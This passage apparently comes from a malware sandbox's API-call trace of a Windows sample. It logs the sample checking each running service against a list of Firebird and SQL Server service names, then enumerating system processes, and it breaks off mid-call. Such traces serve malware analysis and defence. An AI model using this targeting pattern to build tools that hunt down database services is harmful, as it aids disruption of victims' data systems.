lpString2="DcomLaunch") returned 1 [0197.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0197.733] lstrlenW (lpString="DeviceAssociationService") returned 24 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0197.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0197.733] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0197.733] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0197.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0197.733] lstrlenW (lpString="Dhcp") returned 4 [0197.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0197.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0197.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0197.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0197.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0197.734] lstrlenW (lpString="Dnscache") returned 8 [0197.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0197.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0197.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0197.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0197.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0197.734] lstrlenW (lpString="DPS") returned 3 [0197.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0197.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0197.734] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0197.734] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0197.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0197.734] lstrlenW (lpString="DsmSvc") returned 6 [0197.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0197.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0197.734] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0197.734] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0197.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0197.734] lstrlenW (lpString="DusmSvc") returned 7 [0197.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0197.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0197.735] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0197.735] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0197.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0197.735] lstrlenW (lpString="EventLog") returned 8 [0197.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0197.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0197.735] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0197.735] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0197.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0197.735] lstrlenW (lpString="EventSystem") returned 11 [0197.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0197.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0197.735] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0197.735] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0197.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0197.735] lstrlenW (lpString="FontCache") returned 9 [0197.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0197.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0197.735] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0197.735] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0197.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0197.735] lstrlenW (lpString="gpsvc") returned 5 [0197.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0197.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0197.735] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0197.735] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0197.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0197.735] lstrlenW (lpString="iphlpsvc") returned 8 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0197.736] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0197.736] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0197.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0197.736] lstrlenW (lpString="KeyIso") returned 6 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0197.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0197.736] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0197.736] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0197.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0197.736] lstrlenW (lpString="LanmanServer") returned 12 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0197.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0197.736] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0197.736] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0197.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0197.736] lstrlenW (lpString="LanmanWorkstation") returned 17 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0197.736] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0197.736] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0197.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0197.736] lstrlenW (lpString="lfsvc") returned 5 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0197.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0197.736] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0197.736] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0197.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0197.736] lstrlenW (lpString="lmhosts") returned 7 [0197.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0197.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0197.737] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0197.737] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0197.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0197.737] lstrlenW (lpString="LSM") returned 3 [0197.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0197.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0197.737] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0197.824] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0197.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0197.824] lstrlenW (lpString="MpsSvc") returned 6 [0197.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0197.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0197.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0197.825] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0197.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0197.825] lstrlenW (lpString="NcbService") returned 10 [0197.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0197.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0197.825] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0197.825] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0197.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0197.825] lstrlenW (lpString="netprofm") returned 8 [0197.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0197.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0197.825] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0197.825] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0197.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0197.825] lstrlenW (lpString="NgcSvc") returned 6 [0197.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0197.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0197.825] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0197.825] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0197.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0197.825] lstrlenW (lpString="NlaSvc") returned 6 [0197.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0197.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0197.826] lstrlenW (lpString="nsi") returned 3 [0197.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0197.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0197.826] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0197.826] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0197.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0197.826] lstrlenW (lpString="PcaSvc") returned 6 [0197.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0197.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0197.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0197.826] lstrlenW (lpString="PlugPlay") returned 8 [0197.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0197.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0197.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0197.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0197.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0197.826] lstrlenW (lpString="Power") returned 5 [0197.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0197.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0197.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0197.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0197.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0197.826] lstrlenW (lpString="ProfSvc") returned 7 [0197.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0197.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0197.827] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0197.827] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0197.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0197.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0197.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0197.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0197.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0197.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0197.827] lstrlenW (lpString="RpcSs") returned 5 [0197.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0197.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0197.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0197.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0197.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0197.827] lstrlenW (lpString="SamSs") returned 5 [0197.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0197.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0197.827] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0197.827] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0197.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0197.827] lstrlenW (lpString="Schedule") returned 8 [0197.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0197.828] lstrlenW (lpString="SecurityHealthService") returned 21 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0197.828] lstrlenW (lpString="SENS") returned 4 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0197.828] lstrlenW (lpString="ShellHWDetection") returned 16 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0197.828] lstrlenW (lpString="Spooler") returned 7 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0197.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0197.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0197.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0197.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0197.828] lstrlenW (lpString="StateRepository") returned 15 [0197.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0197.829] lstrlenW (lpString="SysMain") returned 7 [0197.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0197.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0197.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0197.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0197.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0197.829] lstrlenW (lpString="SystemEventsBroker") returned 18 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0197.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0197.830] lstrlenW (lpString="Themes") returned 6 [0197.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0197.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0197.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0197.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0197.830] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45c2fd0 | out: hHeap=0x420000) returned 1 [0197.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534 [0197.837] Process32FirstW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0197.838] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0197.838] lstrlenW (lpString="System") returned 6 [0197.838] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0197.839] lstrlenW (lpString="smss.exe") returned 8 [0197.839] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.840] lstrlenW (lpString="csrss.exe") returned 9 [0197.840] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0197.840] lstrlenW (lpString="wininit.exe") returned 11 [0197.840] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0197.841] lstrlenW (lpString="csrss.exe") returned 9 [0197.841] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0197.842] lstrlenW (lpString="winlogon.exe") returned 12 [0197.842] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0197.842] lstrlenW (lpString="services.exe") returned 12 [0197.842] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0197.843] lstrlenW (lpString="lsass.exe") returned 9 [0197.843] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0197.843] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0197.844] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0197.844] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0197.844] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.845] lstrlenW (lpString="svchost.exe") returned 11 [0197.845] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.845] lstrlenW (lpString="svchost.exe") returned 11 [0197.845] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0197.846] lstrlenW (lpString="dwm.exe") returned 7 [0197.846] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.846] lstrlenW (lpString="svchost.exe") returned 11 [0197.846] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.847] lstrlenW (lpString="svchost.exe") returned 11 [0197.847] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.847] lstrlenW (lpString="svchost.exe") returned 11 [0197.847] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.848] lstrlenW (lpString="svchost.exe") returned 11 [0197.848] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.848] lstrlenW (lpString="svchost.exe") returned 11 [0197.848] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.849] lstrlenW (lpString="svchost.exe") returned 11 [0197.849] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0197.850] lstrlenW (lpString="svchost.exe") returned 11 [0197.850] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 